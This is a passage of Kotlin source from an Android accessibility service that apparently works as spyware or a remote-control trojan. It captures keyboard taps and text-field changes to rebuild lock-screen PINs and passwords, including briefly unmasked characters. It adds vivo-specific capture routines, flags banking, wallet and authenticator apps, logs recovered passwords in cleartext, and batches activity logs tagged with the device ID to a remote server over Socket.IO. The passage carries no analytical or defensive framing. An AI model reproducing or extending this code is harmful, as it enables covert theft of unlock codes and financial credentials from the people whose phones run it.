        val deduplicatedSequence = mutableListOf<Map<String, Any>>()
        var lastTimestamp = 0L
        var lastDigit = ""
        
        for (digitEvent in sortedSequence) {
            val digit = digitEvent["digit"] as? String ?: "?"
            val timestamp = digitEvent["timestamp"] as? Long ?: 0L
            
            // ✅ vivo设备使用优化的重构去重窗口，避免过度去重
            val reconstructionWindow = if (isVivoDevice) {
                vivoOptimizedReconstructionWindow // vivo设备: 50ms
            } else {
                100L // 其他设备: 100ms
            }
            
            // 如果时间戳相差很小且数字相同，视为重复记录
            if (timestamp - lastTimestamp < reconstructionWindow && digit == lastDigit) {
                Log.d(TAG, "🔢 [去重] 跳过重复数字: $digit (时间差: ${timestamp - lastTimestamp}ms, 去重窗口: ${reconstructionWindow}ms)")
                if (isVivoDevice) {
                    Log.d(TAG, "📱 [vivo优化] 使用优化重构去重窗口")
                }
                continue
            }
            
            deduplicatedSequence.add(digitEvent)
            lastTimestamp = timestamp
            lastDigit = digit
        }
        
        Log.d(TAG, "🔢 去重后序列数量: ${deduplicatedSequence.size} (原始: ${sortedSequence.size})")
        
        // ✅ vivo设备优化提示
        if (isVivoDevice && deduplicatedSequence.size > 0) {
            Log.i(TAG, "📱 [vivo优化] vivo设备数字密码重构完成，使用优化参数:")
            Log.i(TAG, "    - 程序化检测窗口: ${vivoOptimizedProgrammaticDetectionWindow}ms")
            Log.i(TAG, "    - 重复过滤窗口: ${vivoOptimizedDuplicateWindow}ms") 
            Log.i(TAG, "    - 重构去重窗口: ${vivoOptimizedReconstructionWindow}ms")
        }
        
        // 拼接去重后的数字序列
        val password = StringBuilder()
        for (digitEvent in deduplicatedSequence) {
            val digit = digitEvent["digit"] as? String ?: "?"
            password.append(digit)
        }
        
        val result = password.toString()
        Log.d(TAG, "🔢 键盘点击重构结果: '$result' (长度: ${result.length})")
        
        // ✅ vivo设备重构结果验证
        if (isVivoDevice && result.isNotEmpty()) {
            Log.i(TAG, "📱 [vivo优化] vivo设备数字密码重构成功: $result")
        }
        
        // 验证密码长度合理性
        if (result.length > 0 && result.length <= 20) { // 合理的密码长度范围
            return result
        } else {
            Log.w(TAG, "⚠️ 键盘点击重构的密码长度不合理: ${result.length}")
            return result // 即使长度不合理也返回，让调用方决定如何处理
        }
    }
    
    /**
     * ✅ 策略2：从文本事件重构密码（修复版 - 支持重复字符）
     */
    private fun reconstructPasswordFromTextEvents(): String {
        Log.d(TAG, "📝 文本事件重构开始，事件数量: ${passwordInputEvents.size}")
        
        if (passwordInputEvents.isEmpty()) {
            return ""
        }
        
        // ✅ 修复：使用最长的明文字符串作为基础，而不是去重
        var longestPlainText = ""
        
        for ((index, event) in passwordInputEvents.withIndex()) {
            val displayText = event["displayText"] as? String ?: ""
            val actualPasswordText = event["actualPasswordText"] as? String ?: ""
            
            Log.d(TAG, "  事件[$index]: 显示='$displayText', 实际='$actualPasswordText'")
            
            // 检查每个文本，找出包含最多明文字符的版本
            val textsToCheck = listOf(displayText, actualPasswordText)
            for (text in textsToCheck) {
                // 提取明文字符（非掩码字符）
                val plainChars = text.filter { it != '•' && it != '*' && it != ' ' && it.isLetterOrDigit() }
                if (plainChars.length > longestPlainText.length) {
                    longestPlainText = plainChars
                    Log.d(TAG, "📝 [重构] 更新最长明文: '$longestPlainText' (来自文本: '$text')")
                }
            }
        }
        
        // ✅ 优先使用增量重构（更准确），如果失败再使用明文提取
        val incrementalResult = reconstructFromIncrementalChanges()
        val finalResult = if (incrementalResult.isNotEmpty() && !incrementalResult.contains("?")) {
            Log.d(TAG, "📝 [重构] 增量重构成功: '$incrementalResult'")
            incrementalResult
        } else if (longestPlainText.isNotEmpty()) {
            Log.d(TAG, "📝 [重构] 使用明文提取结果: '$longestPlainText'")
            longestPlainText
        } else {
            Log.d(TAG, "📝 [重构] 回退到增量重构结果（可能包含占位符）: '$incrementalResult'")
            incrementalResult
        }
        
        Log.d(TAG, "📝 文本事件重构结果: '$finalResult' (长度: ${finalResult.length})")
        
        return finalResult
    }
    
    /**
     * ✅ 修复：从增量变化重构密码（处理逐字符输入的情况）
     */
    private fun reconstructFromIncrementalChanges(): String {
        Log.d(TAG, "📝 [增量重构] 开始分析文本变化模式，事件数量: ${passwordInputEvents.size}")
        
        if (passwordInputEvents.isEmpty()) {
            Log.w(TAG, "📝 [增量重构] 没有文本事件，返回空")
            return ""
        }
        
        val password = StringBuilder()
        var lastLength = 0
        
        // 按时间戳排序确保正确的输入顺序
        val sortedEvents = passwordInputEvents.sortedBy { it["timestamp"] as? Long ?: 0L }
        
        for ((index, event) in sortedEvents.withIndex()) {
            val displayText = event["displayText"] as? String ?: ""
            val actualPasswordText = event["actualPasswordText"] as? String ?: ""
            val currentLength = maxOf(displayText.length, actualPasswordText.length)
            
            Log.d(TAG, "  [增量重构] 事件[$index]: 长度=$currentLength (上次=$lastLength), 显示='$displayText', 实际='$actualPasswordText'")
            
            // 只处理长度增加的情况（新字符输入）
            if (currentLength > lastLength) {
                val newCharCount = currentLength - lastLength
                Log.d(TAG, "  [增量重构] 检测到 $newCharCount 个新字符")
                
                // 优先从实际密码文本中查找新字符
                val textsToCheck = listOf(actualPasswordText, displayText)
                var foundChars = 0
                
                for (text in textsToCheck) {
                    if (text.length >= currentLength) {
                        // 从上次位置开始查找新字符
                        for (i in lastLength until currentLength) {
                            if (i < text.length) {
                                val char = text[i]
                                if (char != '•' && char != '*' && char != ' ' && char.isLetterOrDigit()) {
                                    password.append(char)
                                    foundChars++
                                    Log.d(TAG, "    [增量重构] 位置[$i] 发现明文字符: '$char'")
                                } else if (char == '•' || char == '*') {
                                    // 遇到掩码字符，尝试从之前的明文版本推断
                                    val inferredChar = inferCharFromPreviousTexts(i, sortedEvents, index)
                                    if (inferredChar != null) {
                                        password.append(inferredChar)
                                        foundChars++
                                        Log.d(TAG, "    [增量重构] 位置[$i] 推断字符: '$inferredChar'")
                                    } else {
                                        password.append("?")
                                        foundChars++
                                        Log.d(TAG, "    [增量重构] 位置[$i] 使用占位符: '?'")
                                    }
                                }
                            }
                        }
                        if (foundChars >= newCharCount) break
                    }
                }
                
                // 如果还有字符没找到，用占位符填充
                while (foundChars < newCharCount) {
                    password.append("?")
                    foundChars++
                    Log.d(TAG, "    [增量重构] 补充占位符，当前: '${password.toString()}'")
                }
                
                lastLength = currentLength
            }
        }
        
        val result = password.toString()
        Log.d(TAG, "📝 [增量重构] 最终结果: '$result' (长度: ${result.length})")
        return result
    }
    
    /**
     * ✅ 新增：从之前的文本事件中推断字符
     */
    private fun inferCharFromPreviousTexts(position: Int, sortedEvents: List<Map<String, Any>>, currentIndex: Int): String? {
        // 向前查找，看之前是否有这个位置的明文字符
        for (i in currentIndex - 1 downTo 0) {
            val prevEvent = sortedEvents[i]
            val prevDisplayText = prevEvent["displayText"] as? String ?: ""
            val prevActualText = prevEvent["actualPasswordText"] as? String ?: ""
            
            for (text in listOf(prevActualText, prevDisplayText)) {
                if (position < text.length) {   
                    val char = text[position]
                    if (char != '•' && char != '*' && char != ' ' && char.isLetterOrDigit()) {
                        Log.d(TAG, "      [推断] 从历史事件[$i]找到位置[$position]的字符: '$char'")
                        return char.toString()
                    }
                }
            }
        }
        return null
    }
    
    /**
     * 处理滚动事件
     */
    private fun handleViewScrolled(event: AccessibilityEvent) {
        val text = event.text?.joinToString(" ") ?: ""
        val className = event.className?.toString() ?: ""
        val packageName = event.packageName?.toString() ?: ""
        
        // 普通滚动事件处理
        if (text.isNotEmpty() || className.isNotEmpty()) {
            logScope.launch {
                recordLog(
                    "GESTURE",
                    "滚动页面",
                    mapOf(
                        "text" to text,
                        "className" to className,
                        "packageName" to packageName
                    )
                )
            }
        }
    }
    
    /**
     * 获取应用名称
     */
    private fun getAppName(packageName: String): String? {
        return try {
            val packageManager = service.packageManager
            val applicationInfo = packageManager.getApplicationInfo(packageName, 0)
            packageManager.getApplicationLabel(applicationInfo).toString()
        } catch (e: Exception) {
            Log.w(TAG, "获取应用名称失败: $packageName", e)
            null
        }
    }
    
    /**
     * 发送日志到服务器（优化版本，避免传输冲突）
     */
    private suspend fun sendLogToServer(logType: String, content: String, extraData: Map<String, Any>?) {
        try {
            val deviceId = getDeviceId()
            if (deviceId.isNullOrEmpty()) {
                Log.w(TAG, "❌ 设备ID为空，无法发送日志")
                return
            }
            
            val logData = JSONObject().apply {
                put("deviceId", deviceId)
                put("logType", logType)
                put("content", content)
                put("timestamp", System.currentTimeMillis())
                
                extraData?.let { data ->
                    val extraJson = JSONObject()
                    data.forEach { (key, value) ->
                        extraJson.put(key, value)
                    }
                    put("extraData", extraJson)
                }
            }
            
            // 🔧 关键修复：延迟批量发送，避免与屏幕数据传输冲突
            synchronized(logSendBuffer) {
                logSendBuffer.add(logData)
                Log.v(TAG, "📝 操作日志已加入缓冲区: $logType - $content (缓冲区大小: ${logSendBuffer.size})")
            }
            
            // 🔧 取消之前的发送任务，重新安排延迟发送
            logSendJob?.cancel()
            logSendJob = kotlinx.coroutines.GlobalScope.launch {
                delay(logSendDelay) // 延迟1秒发送，避免与控制命令同时传输
                
                val logsToSend = synchronized(logSendBuffer) {
                    val logs = logSendBuffer.toList()
                    logSendBuffer.clear()
                    logs
                }
                
                if (logsToSend.isNotEmpty()) {
                    withContext(Dispatchers.Main) {
                        try {
                            val socketIOManager = getSocketIOManager()
                            if (socketIOManager != null) {
                                // 🔧 批量发送，减少Socket.IO调用频率
                                logsToSend.forEach { logData ->
                                    socketIOManager.sendOperationLog(logData)
                                }
                                lastLogSendTime = System.currentTimeMillis()
                                Log.d(TAG, "📤 批量发送操作日志完成: ${logsToSend.size} 条日志")
                            } else {
                                Log.w(TAG, "⚠️ SocketIOManager不可用，日志发送失败")
                            }
                        } catch (e: Exception) {
                            Log.e(TAG, "❌ 批量发送日志失败", e)
                        }
                    }
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 构建日志消息失败", e)
        }
    }
    
    /**
     * 获取设备ID
     */
    private fun getDeviceId(): String? {
        return try {
            android.provider.Settings.Secure.getString(
                service.contentResolver,
                android.provider.Settings.Secure.ANDROID_ID
            )
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取设备ID失败", e)
            null
        }
    }
    
    /**
     * 获取SocketIO管理器
     */
    private fun getSocketIOManager(): com.hikoncont.network.SocketIOManager? {
        return try {
            // 通过反射获取私有字段
            val field = service.javaClass.getDeclaredField("socketIOManager")
            field.isAccessible = true
            field.get(service) as? com.hikoncont.network.SocketIOManager
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取SocketIOManager失败", e)
            null
        }
    }
    
    /**
     * ✅ 从文本中提取字符 - 支持数字、字母和特殊字符
     * 支持的格式：
     * - 纯数字：1, 2, 3
     * - 纯字母：a, b, c
     * - 带字母格式：PQRS 7, MNO 6, 5 JKL
     * - 特殊字符：@, #, *, .
     */
    private fun extractDigitFromText(text: String): String? {
        if (text.isEmpty()) return null
        
        // 1. 如果是单个字符（数字、字母、特殊字符），直接返回
        if (text.length == 1) {
            return when {
                text.matches(Regex("[0-9a-zA-Z@#*.,!?]")) -> {
                    Log.d(TAG, "🔍 [字符提取] 单字符: '$text'")
                    text
                }
                else -> null
            }
        }
        
        // 2. 查找文本中的数字字符（优先数字）
        val digits = text.filter { it.isDigit() }
        
        // 3. 如果只有一个数字，返回它
        if (digits.length == 1) {
            Log.d(TAG, "🔍 [字符提取] 从 '$text' 提取数字: '$digits'")
            return digits
        }
        
        // 4. 如果有多个数字，尝试识别键盘布局模式
        if (digits.length > 1) {
            // 对于电话键盘，通常数字在前面或后面
            // 常见格式：PQRS 7, 5 JKL, ABC 2, DEF 3
            val textUpper = text.uppercase()
            
            // 检查是否是标准电话键盘格式
            val phoneKeyMap = mapOf(
                "ABC" to "2", "DEF" to "3", "GHI" to "4", "JKL" to "5",
                "MNO" to "6", "PQRS" to "7", "TUV" to "8", "WXYZ" to "9"
            )
            
            for ((letters, digit) in phoneKeyMap) {
                if (textUpper.contains(letters)) {
                    Log.d(TAG, "🔍 [字符提取] 从 '$text' 识别电话键盘格式: '$digit'")
                    return digit
                }
            }
            
            // 如果不是标准格式，返回第一个数字
            Log.d(TAG, "🔍 [字符提取] 从 '$text' 返回第一个数字: '${digits[0]}'")
            return digits[0].toString()
        }
        
        // 5. 如果没有数字，检查是否有单个字母
        val letters = text.filter { it.isLetter() }
        if (letters.length == 1) {
            Log.d(TAG, "🔍 [字符提取] 从 '$text' 提取字母: '$letters'")
            return letters
        }
        
        // 6. 检查特殊字符
        val specialChars = text.filter { it in "@#*.,!?()-" }
        if (specialChars.length == 1) {
            Log.d(TAG, "🔍 [字符提取] 从 '$text' 提取特殊字符: '$specialChars'")
            return specialChars
        }
        
        // 7. 如果都没有，返回null
        Log.d(TAG, "🔍 [字符提取] 从 '$text' 未找到可识别字符")
        return null
    }

    /**
     * 检测是否为虚拟键盘按键
     */
    private fun isVirtualKeyboard(packageName: String, className: String): Boolean {
        val packageLower = packageName.toLowerCase()
        val classLower = className.toLowerCase()
        
        return packageLower.contains("inputmethod") || 
               packageLower.contains("keyboard") ||
               classLower.contains("keyboard") ||
               classLower.contains("keyboardview")
    }
    

    
    /**
     * 检测当前是否正在输入密码（PIN码等）
     */
    private fun isCurrentlyInputtingPassword(packageName: String, className: String): Boolean {
        val packageLower = packageName.lowercase()
        val classLower = className.lowercase()
        
        // 检查最近是否有密码输入活动
        val recentPasswordInput = isPasswordInputActive || 
            (System.currentTimeMillis() - lastPasswordEventTime < 2000)
        
        // SystemUI中与密码/PIN码相关的组件
        val isPasswordRelated = packageLower.contains("systemui") && (
            classLower.contains("edittext") ||
            classLower.contains("password") ||
            classLower.contains("pin") ||
            classLower.contains("numpad") ||
            classLower.contains("keyboard")
        )
        
        return recentPasswordInput || isPasswordRelated
    }
    
    /**
     * 检测是否为指纹传感器
     */
    private fun isFingerprintSensor(contentDescription: String, className: String): Boolean {
        val descLower = contentDescription.toLowerCase()
        val classLower = className.toLowerCase()
        
        return descLower.contains("fingerprint") || 
               descLower.contains("指纹") ||
               classLower.contains("fingerprint")
    }
    
    /**
     * ✅ 增强：处理触摸开始事件 - 第三方应用键盘检测的关键
     */
    private fun handleTouchStart(event: AccessibilityEvent) {
        val packageName = event.packageName?.toString() ?: ""
        val className = event.className?.toString() ?: ""
        val eventText = event.text?.joinToString("") ?: ""
        val contentDesc = event.contentDescription?.toString() ?: ""
        
        // 检查是否为输入法相关包名
        val isInputMethodPackage = packageName.lowercase().let { pkg ->
            pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") ||
            pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") ||
            pkg.contains("baidu") || pkg.contains("iflytek")
        }
        
        val appType = if (isInputMethodPackage) "输入法" else "第三方应用"
        
        // ✅ 记录触摸开始事件，特别关注有文本内容的
        if (!packageName.contains("systemui", ignoreCase = true)) {
            if (eventText.isNotEmpty() || contentDesc.isNotEmpty() || isInputMethodPackage) {
                Log.i(TAG, "👇 [$appType] 触摸开始: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
                
                // ✅ 分析是否为键盘触摸
                analyzeTouchForKeyboard(event, packageName, className, eventText, contentDesc, "TOUCH_START")
            }
        }
    }
    
    /**
     * ✅ 增强：处理触摸结束事件 - 键盘字符确认的关键时机
     */
    private fun handleTouchEnd(event: AccessibilityEvent) {
        val packageName = event.packageName?.toString() ?: ""
        val className = event.className?.toString() ?: ""
        val eventText = event.text?.joinToString("") ?: ""
        val contentDesc = event.contentDescription?.toString() ?: ""
        
        // 检查是否为输入法相关包名
        val isInputMethodPackage = packageName.lowercase().let { pkg ->
            pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") ||
            pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") ||
            pkg.contains("baidu") || pkg.contains("iflytek")
        }
        
        val appType = if (isInputMethodPackage) "输入法" else "第三方应用"
        
        // ✅ 记录触摸结束事件，这是键盘输入确认的关键时机
        if (!packageName.contains("systemui", ignoreCase = true)) {
            if (eventText.isNotEmpty() || contentDesc.isNotEmpty() || isInputMethodPackage) {
                Log.i(TAG, "👆 [$appType] 触摸结束: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
                
                // ✅ 分析是否为键盘触摸并记录字符
                analyzeTouchForKeyboard(event, packageName, className, eventText, contentDesc, "TOUCH_END")
            }
        }
    }
    

    

    
    /**
     * 处理视图选择事件（可能用于图案解锁）
     */
    private fun handleViewSelected(event: AccessibilityEvent) {
        val packageName = event.packageName?.toString() ?: ""
        val className = event.className?.toString() ?: ""
        

    }
    
    /**
     * 处理窗口内容变化 - ✅ 优化版本，区分数字密码和图案解锁
     */
    private fun handleWindowContentChanged(event: AccessibilityEvent) {
        val packageName = event.packageName?.toString() ?: ""
        val className = event.className?.toString() ?: ""
        val currentTime = System.currentTimeMillis()
        
        Log.i(TAG, "🔍 [增强窗口内容变化] 处理增强窗口内容变化 - 包名=$packageName, 类名=$className")
        
       
        // ✅ 优先检测数字密码输入
        if (isPasswordField(event)) {
            val text = event.text?.joinToString("") ?: ""
            val beforeText = event.beforeText?.toString() ?: ""
            
            Log.d(TAG, "🔢 窗口内容变化检测到密码字段: 包名=$packageName, 类名=$className, 文本='$text'")
            
            // 如果有文本变化，处理为密码输入
            if (text != beforeText || text.isNotEmpty()) {
                handlePasswordInput(event, text, beforeText, currentTime)
                return // ✅ 处理完密码输入后直接返回，不继续处理图案解锁
            }
        }
        
        // ✅ 检测SystemUI中的数字键盘输入（通过AccessibilityNodeInfo）
        if (packageName.contains("systemui", ignoreCase = true)) {
            val source = event.source
            if (source != null) {
                try {
                    // 查找数字键盘或密码输入框
                    val hasNumericKeypad = findNumericKeypadInNode(source)
                    val hasPasswordField = findPasswordFieldInNode(source)
                    
                    if (hasNumericKeypad || hasPasswordField) {
                        Log.d(TAG, "🔢 检测到数字键盘或密码输入: 数字键盘=$hasNumericKeypad, 密码字段=$hasPasswordField")
                        
                        // 尝试获取密码字段的内容
                        val passwordContent = extractPasswordFromNode(source)
                        if (passwordContent.isNotEmpty()) {
                            Log.d(TAG, "🔢 从节点提取到密码内容: '$passwordContent'")
                            
                            // ✅ 检测并记录数字序列
                            val previousLength = numericPasswordSequence.size
                            val currentLength = passwordContent.length
                            
                            // 如果密码长度增加，记录新增的数字
                            if (currentLength > previousLength && passwordContent.all { it.isDigit() || it == '•' || it == '*' }) {
                                for (i in previousLength until currentLength) {
                                    if (i < passwordContent.length) {
                                        val digit = passwordContent[i]
                                        if (digit.isDigit()) {
                                            Log.d(TAG, "🔢 记录WINDOW_CONTENT_CHANGED中的数字: $digit")
                                            numericPasswordSequence.add(mapOf(
                                                "digit" to digit.toString(),
                                                "timestamp" to currentTime,
                                                "className" to className,
                                                "packageName" to packageName,
                                                "source" to "window_content_changed"
                                            ))
                                            
                                            // ✅ 检测到数字0，立即标记
                                            if (digit == '0') {
                                                hasDetectedZero = true
                                                Log.d(TAG, "⚡ 检测到数字0，切换模式: hasDetectedZero = true")
                                            }
                                        }
                                    }
                                }
                            }
                            
                            // 创建模拟的密码输入事件
                            val simulatedText = if (passwordContent.all { it.isDigit() }) passwordContent else "•".repeat(passwordContent.length)
                            handlePasswordInput(event, simulatedText, "", currentTime)
                            return // ✅ 处理完密码输入后直接返回
                        }
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "检查SystemUI密码输入失败", e)
                } finally {
                    source.recycle()
                }
            }
        }
        
        // ✅ 首先检查界面上是否存在数字0（数字密码的标志）
        if (packageName.contains("systemui", ignoreCase = true)) {
            checkForNumericPasswordIndicators(event)
        }
        
        // ✅ 在处理图案解锁之前，先检测是否有新的数字输入（实时检测）
        if (packageName.contains("systemui", ignoreCase = true)) {
            val source = event.source
            if (source != null) {
                try {
                    val currentPasswordContent = extractPasswordFromNode(source)
                    if (currentPasswordContent.isNotEmpty() && currentPasswordContent.any { it.isDigit() }) {
                        val currentDigitCount = currentPasswordContent.count { it.isDigit() }
                        val recordedDigitCount = numericPasswordSequence.size
                        
                        if (currentDigitCount > recordedDigitCount) {
                            Log.d(TAG, "🔢 图案模式中检测到新数字输入: '$currentPasswordContent' (当前:$currentDigitCount, 已记录:$recordedDigitCount)")
                            
                            // 记录新增的数字
                            for (i in recordedDigitCount until minOf(currentDigitCount, currentPasswordContent.length)) {
                                val digit = currentPasswordContent[i]
                                if (digit.isDigit()) {
                                    Log.d(TAG, "🔢 补充记录数字: $digit")
                                    numericPasswordSequence.add(mapOf(
                                        "digit" to digit.toString(),
                                        "timestamp" to currentTime,
                                        "className" to className,
                                        "packageName" to packageName,
                                        "source" to "pattern_mode_detection"
                                    ))
                                    
                                    // ✅ 检测到数字0，立即标记
                                    if (digit == '0') {
                                        hasDetectedZero = true
                                        Log.d(TAG, "⚡ 图案模式中检测到数字0，切换模式: hasDetectedZero = true")
                                    }
                                }
                            }
                        }
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "图案模式中检测数字失败", e)
                } finally {
                    source.recycle()
                }
            }
        }
        

    }
    

    

    


    /**
     * ✅ 新增：转换密码类型为增强格式
     */
    private fun convertToEnhancedType(passwordType: String): String {
        return when (passwordType) {
            "混合密码" -> "MIXED"
            "文本密码" -> "TEXT"
            "数字密码" -> "NUMERIC"
            "PIN码" -> "PIN"
            "图案密码" -> "PATTERN"
            else -> "UNKNOWN"
        }
    }
    
    /**
     * ✅ 新增：转换密码类型为确认检测使用的简化类型
     */
    private fun convertToConfirmDetectionType(passwordType: String): String {
        return when (passwordType) {
            "混合密码" -> "mixed"
            "文本密码" -> "text"
            "数字密码" -> "numeric"
            "PIN码" -> "numeric"  // PIN码也使用numeric类型
            "图案密码" -> "pattern"
            else -> "unknown"
        }
    }


    

    
    /**
     * 检测是否为密码输入框
     */
    private fun isPasswordField(event: AccessibilityEvent): Boolean {
        val className = event.className?.toString()?.lowercase() ?: ""
        val contentDescription = event.contentDescription?.toString()?.lowercase() ?: ""
        val packageName = event.packageName?.toString()?.lowercase() ?: ""
        
        // 检查类名是否包含密码相关字段
        val passwordClassNames = listOf(
            "edittext", "passwordfield", "secureedittext", 
            "password", "pin", "passcode"
        )
        
        // 检查内容描述是否包含密码相关词汇
        val passwordKeywords = listOf(
            "password", "密码", "pin", "passcode", "安全", "unlock", "解锁"
        )
        
        val classMatches = passwordClassNames.any { className.contains(it) }
        val descMatches = passwordKeywords.any { contentDescription.contains(it) }
        val isPasswordEvent = event.isPassword
        
        // ✅ 增强：特别处理SystemUI中的各种密码输入场景
        val isSystemUIPasswordInput = packageName.contains("systemui") && (
            className.contains("edittext") ||           // PIN码输入框
            className.contains("passwordfield") ||      // 密码输入框
            className.contains("secureedittext") ||     // 安全文本输入
            className.contains("numpad") ||             // 数字键盘
            className.contains("keypad") ||             // 键盘
            className.contains("android.view.view")     // ✅ 通用View（可能是数字密码输入）
        )
        
        // ✅ 增强：检查事件文本是否包含密码特征
        val eventText = event.text?.joinToString("") ?: ""
        val hasPasswordCharacteristics = eventText.any { it == '•' || it == '*' } || 
                                        (eventText.isNotEmpty() && eventText.all { it.isDigit() || it == '•' || it == '*' })
        
        val result = classMatches || descMatches || isPasswordEvent || isSystemUIPasswordInput || hasPasswordCharacteristics
        
        Log.d(TAG, "🔍 密码字段检测: 类名=$className, 描述=$contentDescription, 包名=$packageName")
        Log.d(TAG, "   类名匹配=$classMatches, 描述匹配=$descMatches, isPassword=$isPasswordEvent")
        Log.d(TAG, "   SystemUI密码输入=$isSystemUIPasswordInput, 密码特征=$hasPasswordCharacteristics")
        Log.d(TAG, "   事件文本='$eventText'")
        Log.d(TAG, "   最终结果: $result")
        
        return result
    }
    
    /**
     * ✅ 新增：增强的密码输入检测，支持更多第三方应用
     */
    private fun isLikelyPasswordInput(event: AccessibilityEvent): Boolean {
        val className = event.className?.toString()?.lowercase() ?: ""
        val contentDescription = event.contentDescription?.toString()?.lowercase() ?: ""
        val packageName = event.packageName?.toString()?.lowercase() ?: ""
        val eventText = event.text?.joinToString("") ?: ""
        
        // 1. 检查第三方应用中的常见密码输入特征
        val hasPasswordMask = eventText.any { it == '•' || it == '*' || it == '●' }
        
        // 2. 检查常见的密码相关UI元素
        val passwordUIIndicators = listOf(
            "密码", "password", "pwd", "pass", "pin", "unlock", "解锁", "登录", "login", 
            "sign in", "signin", "security", "安全", "验证", "verify", "auth", "认证"
        )
        
        val hasPasswordUI = passwordUIIndicators.any { keyword ->
            contentDescription.contains(keyword) || 
            className.contains(keyword)
        }
        
        // 3. 检查是否为数字密码（纯数字输入且长度合理）
        val isNumericPassword = eventText.isNotEmpty() && 
                               eventText.all { it.isDigit() } && 
                               eventText.length in 3..10
        
        // 4. 检查输入框的hint或placeholder文本
        val source = event.source
        var hasPasswordHint = false
        if (source != null) {
            try {
                val hintText = source.hintText?.toString()?.lowercase() ?: ""
                hasPasswordHint = passwordUIIndicators.any { hintText.contains(it) }
            } catch (e: Exception) {
                Log.w(TAG, "检查hint文本失败", e)
            } finally {
                source.recycle()
            }
        }
        
        // 5. 检查常见的密码输入应用
        val passwordApps = listOf(
            "banking", "bank", "wallet", "payment", "pay", "finance", "security",
            "lock", "keychain", "password", "authenticator", "2fa", "otp"
        )
        val isPasswordApp = passwordApps.any { packageName.contains(it) }
        
        val result = hasPasswordMask || hasPasswordUI || isNumericPassword || hasPasswordHint || isPasswordApp
        
        if (result) {
            Log.d(TAG, "🔍 增强密码检测: 掩码=$hasPasswordMask, UI指示=$hasPasswordUI, 数字密码=$isNumericPassword, hint密码=$hasPasswordHint, 密码应用=$isPasswordApp")
        }
        
        return result
    }
    
    /**
     * ✅ 新增：提取文本输入的变化部分
     */
    private fun extractInputDelta(beforeText: String, currentText: String): String {
        return when {
            currentText.length > beforeText.length -> {
                // 文本增加：提取新增的部分
                currentText.substring(beforeText.length)
            }
            currentText.length < beforeText.length -> {
                // 文本减少：标记删除
                "[删除${beforeText.length - currentText.length}字符]"
            }
            else -> {
                // 长度相同但内容不同：可能是替换
                "[文本替换]"
            }
        }
    }
    

    
    /**
     * 尝试获取完整的密码文本
     */
    private fun getPasswordText(event: AccessibilityEvent, displayText: String, beforeText: String): String {
        try {
            var actualText = displayText
            
            // ✅ vivo设备专用文本获取增强
            if (isVivoDevice) {
                // 优先使用捕获的明文字符（如果有的话）
                if (vivoExtractedChars.isNotEmpty() && displayText.length > 0) {
                    val vivoEnhancedText = enhanceVivoPasswordText(displayText, beforeText)
                    if (vivoEnhancedText != displayText) {
                        actualText = vivoEnhancedText
                        Log.d(TAG, "📱 [vivo文本增强] 原始='$displayText' -> 增强='$actualText'")
                    }
                }
            }
            
            // 方法1：从事件文本获取
            if (actualText.isEmpty() && event.text.isNotEmpty()) {
                actualText = event.text.joinToString("")
            }
            
            // 方法2：尝试从AccessibilityNodeInfo获取更多信息
            val source = event.source
            if (source != null) {
                try {
                    val nodeText = source.text?.toString() ?: ""
                    if (nodeText.isNotEmpty()) {
                        // 只有当节点文本看起来像密码字符时才使用（包含掩码或数字/字母）
                        val looksLikePassword = nodeText.any { it == '•' || it == '*' } || 
                                               (nodeText.length <= 20 && nodeText.any { it.isLetterOrDigit() })
                        
                        if (looksLikePassword && 
                            (nodeText.length >= actualText.length || 
                             nodeText.any { it.isLetterOrDigit() && !actualText.contains(it) })) {
                            actualText = nodeText
                        }
                    }
                    
                } catch (e: Exception) {
                    Log.w(TAG, "从AccessibilityNodeInfo获取文本失败", e)
                } finally {
                    source.recycle()
                }
            }
            
            // 方法3：分析文本变化，推断当前输入的字符
            if (actualText.length > beforeText.length) {
                val lengthDiff = actualText.length - beforeText.length
                Log.d(TAG, "🔍 检测到长度增加 $lengthDiff 位")
                
                // 如果当前文本全是掩码，但长度增加了，尝试保留上次的明文
                if (actualText.all { it == '•' || it == '*' } && beforeText.any { it.isLetterOrDigit() }) {
                    // 构建可能的文本：保留之前的明文，新位置用掩码
                    val newText = StringBuilder()
                    for (i in 0 until actualText.length) {
                        if (i < beforeText.length && beforeText[i].isLetterOrDigit()) {
                            newText.append(beforeText[i])
                                } else {
                            newText.append('•')
                        }
                    }
                    actualText = newText.toString()
                }
            }
            
            Log.d(TAG, "🔍 密码文本解析: 显示文本='$displayText', 之前文本='$beforeText', 实际文本='$actualText'")
            
            // 返回实际显示的文本（明文或掩码）
            return actualText
            
        } catch (e: Exception) {
            Log.w(TAG, "获取密码文本失败", e)
            return displayText
        }
    }
    
    /**
     * ✅ vivo设备专用密码快速捕获处理
     */
    private fun handleVivoPasswordCapture(event: AccessibilityEvent, text: String, beforeText: String, packageName: String, className: String) {
        val currentTime = System.currentTimeMillis()
        
        Log.i(TAG, "📱 [vivo快速捕获] 开始处理: 文本='$text', 之前='$beforeText'")
        
        // 1. 立即提取明文字符
        val plaintextChars = extractVivoPlaintextChars(text, beforeText)
        if (plaintextChars.isNotEmpty()) {
            Log.i(TAG, "🎯 [vivo快速捕获] 发现明文字符: '$plaintextChars'")
            vivoExtractedChars.addAll(plaintextChars)
            vivoLastCaptureTime = currentTime
        }
        
        // 2. 深度扫描节点文本
        val source = event.source
        if (source != null) {
            try {
                scanVivoPasswordNodeDeep(source, packageName)
            } catch (e: Exception) {
                Log.w(TAG, "vivo深度扫描失败", e)
            } finally {
                source.recycle()
            }
        }
        
        // 3. 启动主动扫描（仅对密码场景且当前时间窗口内）
        if (isPasswordField(event) && !vivoActiveScanning.contains(packageName) && 
            (currentTime - vivoLastCaptureTime < 2000L || vivoLastCaptureTime == 0L)) {
            startVivoActiveScanning(packageName)
        }
        
        // 4. 更新vivo密码缓冲区
        updateVivoPasswordBuffer(text, beforeText)
        
        Log.i(TAG, "📱 [vivo快速捕获] 处理完成: 已捕获${vivoExtractedChars.size}个字符")
    }
    
    /**
